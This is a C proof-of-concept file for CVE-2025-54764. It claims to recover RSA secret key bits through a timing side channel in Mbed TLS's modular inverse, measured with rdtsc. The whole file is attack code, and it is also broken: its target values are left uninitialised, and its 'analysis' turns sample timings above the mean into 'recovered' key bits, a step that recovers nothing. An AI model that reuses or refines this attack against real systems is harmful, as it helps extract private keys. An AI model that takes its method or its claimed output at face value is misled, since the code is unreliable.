/* CVE-2025-54764 - Mbed TLS RSA Timing Side-Channel Attack PoC
* This PoC demonstrates a local timing attack against mbedtls_mpi_mod_inv
* to recover secret key bits through statistical analysis of execution times.
*
* Note: This is a conceptual demonstration. A real attack requires:
* - High-resolution timing (rdtsc or performance counters)
* - Large number of samples (typically thousands)
* - Statistical analysis (e.g., Pearson correlation, DPA)
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include "mbedtls/bignum.h"
#include "mbedtls/rsa.h"
// High-resolution timer using rdtsc (x86)
static inline uint64_t rdtsc(void) {
uint32_t lo, hi;
__asm__ volatile ("rdtsc" : "=a"(lo), "=d"(hi));
return ((uint64_t)hi << 32) | lo;
}
// Collect timing samples for mbedtls_mpi_mod_inv operation
int collect_timing_samples(mbedtls_mpi *X, mbedtls_mpi *Y,
uint64_t *samples, int num_samples) {
mbedtls_mpi result;
mbedtls_mpi_init(&result);
for (int i = 0; i < num_samples; i++) {
// Warm up cache
mbedtls_mpi_mod_inv(&result, X, Y);
uint64_t start = rdtsc();
mbedtls_mpi_mod_inv(&result, X, Y);
uint64_t end = rdtsc();
samples[i] = end - start;
// Vary input slightly to probe different key bits
mbedtls_mpi_add_int(X, X, 1);
}
mbedtls_mpi_free(&result);
return 0;
}
// Statistical analysis to recover key bits from timing data
int analyze_timing(uint64_t *samples, int num_samples, uint8_t *recovered_key) {
// Simple threshold-based analysis (placeholder for real DPA)
uint64_t avg = 0;
for (int i = 0; i < num_samples; i++) {
avg += samples[i];
}
avg /= num_samples;
// Bits with timing above average likely correspond to specific key values
for (int i = 0; i < num_samples && i < 256; i++) {
recovered_key[i / 8] |= (samples[i] > avg ? 1 : 0) << (i % 8);
}
return 0;
}
int main(void) {
mbedtls_mpi X, Y;
uint64_t samples[10000];
uint8_t recovered_key[32] = {0};
mbedtls_mpi_init(&X);
mbedtls_mpi_init(&Y);
// Initialize with target values (in real attack, use actual RSA parameters)
// mbedtls_mpi_read_string(&X, 16, "...");
// mbedtls_mpi_read_string(&Y, 16, "...");
printf("[*] Collecting timing samples...\n");
collect_timing_samples(&X, &Y, samples, 10000);
printf("[*] Analyzing timing data...\n");
analyze_timing(samples, 10000, recovered_key);
printf("[+] Recovered key bits (partial):\n");
for (int i = 0; i < 32; i++) {
printf("%02x", recovered_key[i]);
}
printf("\n");
mbedtls_mpi_free(&X);
mbedtls_mpi_free(&Y);
return 0;
}